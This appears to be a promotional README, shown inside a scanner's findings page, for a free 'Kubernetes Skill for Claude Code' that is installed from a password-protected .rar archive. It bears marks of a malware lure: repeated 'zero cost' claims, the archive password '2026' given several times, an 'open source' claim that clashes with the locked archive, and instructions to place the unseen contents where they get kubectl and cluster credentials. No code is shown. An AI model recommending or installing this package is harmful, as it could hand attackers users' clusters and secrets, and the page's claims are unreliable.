Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
☸️ Kubernetes Skill for Claude Code – AI DevOps Assistant [Free] May 2026
☸️ Kubernetes Skill for Claude Code Updated is a free professional skill package that enables Claude Code to manage Kubernetes clusters with zero cost. No payment required. This skill includes cluster management, pod operations, deployment editing, ingress configuration, troubleshooting, and Helm integration — perfect for developers and DevOps engineers using Claude Code for Kubernetes automation. Fully updated for May 2026.
<div align="center">
</div>
<div align="center"> <img width="1572" height="737" alt="image" src="https://github.com/user-attachments/assets/7b89e165-a5cc-46b8-a84c-bc25b012db5e" />
</div>
⚡ Quick Overview
| Feature | Description |
|---|---|
| ☸️ Cluster Management | Manage any Kubernetes cluster |
| 📦 Pod Operations | Deploy, scale, debug pods |
| 🔧 Troubleshooting | Diagnose cluster issues |
| 📝 YAML Generation | Generate manifests with AI |
| 🔄 Helm Integration | Install/upgrade Helm charts |
| 💰 Cost | Zero cost (full version) |
💡 Key Capabilities
Kubernetes Skill for Claude Code provides professional K8s management via AI.
- ✅ Cluster Management — Create, update, delete resources across any cluster
- ✅ Pod Operations — List, describe, logs, exec into pods
- ✅ Deployment Management — Edit, scale, rollout, rollback
- ✅ Ingress/Service — Configure networking resources
- ✅ Troubleshooting — Auto-diagnose common issues
- ✅ Free tool — zero cost, no payment, no subscription
- ✅ May 2026 update — supports Kubernetes 1.30+
⚙️ Features
☸️ Cluster Management
| Feature | What It Does |
|---|---|
| Get Resources | Get any resource (pods, deployments, services) |
| Create Resources | Apply YAML manifests |
| Delete Resources | Remove resources by name |
| Edit Resources | Edit live resources in real-time |
| List Resources | List with labels and fields |
| Context Switching | Switch between clusters easily |
📦 Pod Operations
| Feature | Description |
|---|---|
| List Pods | Show all pods with status |
| Describe Pod | Detailed pod information |
| Pod Logs | View stdout/stderr logs |
| Exec into Pod | Execute commands in running containers |
| Port Forward | Forward local ports to pods |
| Copy Files | Copy files to/from pods |
📝 YAML & Manifest Generation
| Feature | Description |
|---|---|
| Deployment YAML | Generate deployments with correct syntax |
| Service YAML | ClusterIP, NodePort, LoadBalancer |
| ConfigMap | Create from literal values or files |
| Secret | Generate secrets (base64 encoded) |
| Ingress | Configure routes to services |
| CronJob | Scheduled job generation |
🔧 Troubleshooting Tools
| Feature | Description |
|---|---|
| Pod Crash Analysis | Check logs, events, describe |
| Node Issues | Check node conditions and pressure |
| Resource Limits | Analyze CPU/memory limits |
| Image Pull Errors | Diagnose registry issues |
| Network Troubleshoot | Dns, connectivity, service mesh |
| Performance Check | Resource usage analysis |
🔄 Helm Integration
| Feature | Description |
|---|---|
| Install Chart | Install charts from repos |
| Upgrade Chart | Upgrade with new values |
| Uninstall Chart | Remove Helm releases |
| List Releases | Show all Helm releases |
| Get Values | Show current values |
| Add Repo | Add Helm repositories |
⚡ Additional Features
| Feature | Description |
|---|---|
| Multi-Cluster | Manage multiple clusters |
| kubectl Wrapper | Direct kubectl commands |
| K9s Integration | Launch K9s dashboard |
| Lens Support | Generate Lens import config |
| Prometheus Queries | Check cluster metrics |
| Backup/Restore | Backup resource configurations |
📊 Comparison
| Feature | Manual kubectl | Kubernetes Skill for Claude Code |
|---|---|---|
| Command Memorization | Need to remember flags | ✅ Ask naturally |
| YAML Generation | Write from scratch | ✅ AI-generated |
| Troubleshooting | Google/Stack Overflow | ✅ Auto-diagnose |
| Helm Commands | Learn separate CLI | ✅ Natural language |
| Multi-Cluster | Manual context switch | ✅ Smart context |
| Cost | Free | ✅ Zero cost |
🛠️ Installation & Usage Guide
How to Install Kubernetes Skill for Claude Code for Free (3 Easy Steps)
- ☸️ Download the skill package from the button below
- 🔓 Extract to skills directory
- 🚀 Restart Claude Code → Start managing Kubernetes
<div align="center">
</div>
Detailed Installation (May 2026 Update)
#### Step 1: Download & Extract
- Click the download button above
- Extract the
.rarfile using WinRAR or 7-Zip - Archive password:
2026 - You'll get a folder named
kubernetes-skill
#### Step 2: Install to Claude Code
- Locate your Claude Code skills directory:
- Windows:
%APPDATA%\Claude\skills\ - Mac:
~/Library/Application Support/Claude/skills/ - Linux:
~/.config/Claude/skills/ - Copy
kubernetes-skillfolder there - Or use Claude Code's
/install-from-foldercommand
#### Step 3: Configure kubectl Access
- Ensure
kubectlis installed and configured - Test with:
kubectl get nodes - The skill automatically detects your current context
- multiple clusters supported
Done! You can now manage Kubernetes with Claude Code — zero cost.
How to Get Pod Information
Just ask Claude Code:
Show me all pods in the default namespaceWhat pods are crashing in my cluster?Get logs from pod nginx-deployment-7d8c5How to Deploy an Application
Ask Claude Code:
Create a deployment for nginx with 3 replicas on port 80Deploy a Redis instance with persistent storageApply this manifest to my cluster: [paste YAML]How to Troubleshoot Issues
Ask Claude Code:
My pod is in CrashLoopBackOff. What's wrong?The service can't connect to my pods, help me debugCheck why my node is showing MemoryPressureHow to Manage Helm Charts
Ask Claude Code:
Install nginx-ingress from the stable repoUpgrade my prometheus chart with new valuesList all Helm releases in my clusterHow to Scale and Update
Ask Claude Code:
Scale my frontend deployment to 5 replicasDo a rolling restart of all pods in the backend namespaceRollback the last deployment of api-serverHow to Generate YAML Manifests
Ask Claude Code:
Generate a ConfigMap for database connection stringsCreate a Secret for my PostgreSQL credentialsMake an Ingress YAML for my-api.example.com📥 Requirements
| Component | Requirement |
|---|---|
| Claude Code | Version 1.10+ |
| kubectl | Version 1.25+ |
| Kubeconfig | Configured for target cluster(s) |
| Cluster Access | Appropriate RBAC permissions |
| OS | Windows / Mac / Linux |
| Storage | 25 MB |
| Archive Password | 2026 |
💡 Pro Tips
- Set default namespace first — Ask "Set default namespace to my-app"
- Use specific context — "Switch to production cluster"
- Ask for safety checks — "Show me what would happen before deleting"
- Request explain output — "Explain what this command does"
- Use show-on-disk flag — "Save this YAML to disk"
- Combine operations — "Scale down old deployment and deploy new version"
❓ Frequently Asked Questions
Q: Is this really free? A: Yes — completely free. Zero cost. No payment. No subscription.
Q: What is the archive password? A: The password is 2026.
Q: Do I need Kubernetes cluster? A: Yes — the skill is for managing existing clusters.
Q: Can I use this with minikube? A: Yes — works with any Kubernetes distribution.
Q: Does it work on production clusters? A: Yes — but always review changes before applying.
Q: Can the skill delete resources? A: Yes — use with caution. Always ask for confirmation.
Q: Does it support EKS, GKE, AKS? A: Yes — any cluster with kubectl access.
Q: Can it create new namespaces? A: Yes — "Create a namespace called staging"
Q: Does it support custom resources (CRDs)? A: Yes — works with any Kubernetes resource type.
Q: How often is it updated? A: Monthly — new features and Kubernetes versions.
Q: Is there documentation included? A: Yes — full command reference and examples included.
☑️ Guidelines
- ✅ For DevOps automation and management
- ✅ For learning Kubernetes
- ✅ For daily cluster operations
- ✅ No payment ever — lifetime free access
- ✅ Open source (MIT license)
- ❌ Always review destructive commands before approval
📚 Learning Resources
| Topic | What You'll Learn |
|---|---|
| kubectl Basics | Essential commands |
| YAML Structure | Understanding K8s manifests |
| Troubleshooting | Debugging common issues |
| Helm | Package management for K8s |
| RBAC | Security and permissions |
🏁 Summary
Manage Kubernetes clusters with natural language for free. Kubernetes Skill for Claude Code Updated gives you cluster management, pod operations, troubleshooting, YAML generation, and Helm integration — zero cost. No payment. No subscription. Just ask, review, and manage.
One skill. Kubernetes at your command. Zero cost.
<div align="center">
Version 2.2.0 — Free Kubernetes management for Claude Code. May 2026 update. Zero cost. No payment.
</div>